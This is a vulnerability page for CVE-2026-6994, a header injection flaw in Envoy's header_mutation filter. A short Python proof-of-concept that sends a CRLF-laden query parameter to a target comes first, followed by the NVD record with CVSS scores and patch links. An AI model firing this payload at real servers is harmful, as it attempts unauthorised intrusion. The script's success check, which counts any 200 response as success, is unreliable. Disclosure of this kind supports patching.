CVE-2026-6994

# PoC for CVE-2026-6994 Envoy Injection Vulnerability # This script demonstrates how a malicious query parameter # can be used to inject headers via the params.add function. import requests def exploit_poc(target_url): # The payload attempts to inject a new header via CRLF injection # exploiting the header mutation logic. injection_payload = "value\r\nX-Malicious-Header: pwned" params = { "vulnerable_param": injection_payload } try: response = requests.get(target_url, params=params) # Check if the injected header is reflected or processed if 'X-Malicious-Header' in response.headers or response.status_code == 200: print("[+] Potential exploitation successful!") print(f"[+] Response Code: {response.status_code}") else: print("[-] Exploitation failed or patch applied.") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target = "http://localhost:8080/" # Replace with actual target exploit_poc(target)

{"cve": {"id": "CVE-2026-6994", "sourceIdentifier": "[email protected]", "published": "2026-04-25T19:16:00.360", "lastModified": "2026-04-27T18:42:11.700", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Envoy up to 1.33.0. Affected is the function params.add of the file source/extensions/filters/http/header_mutation/header_mutation.cc of the component Query Parameter Handler. This manipulation causes injection. Remote exploitation of the attack is possible. Patch name: f8f4f1e02fdc64ecd4acf2d903208dd7285ad3a4. It is suggested to install a patch to address this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-707"}]}], "references": [{"url": "https://github.com/envoyproxy/envoy/commit/f8f4f1e02fdc64ecd4acf2d903208dd7285ad3a4", "source": "[email protected]"}, {"url": "https://github.com/envoyproxy/envoy/pull/43502/", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/797241", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359546", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359546/cti", "source": "[email protected]"}]}}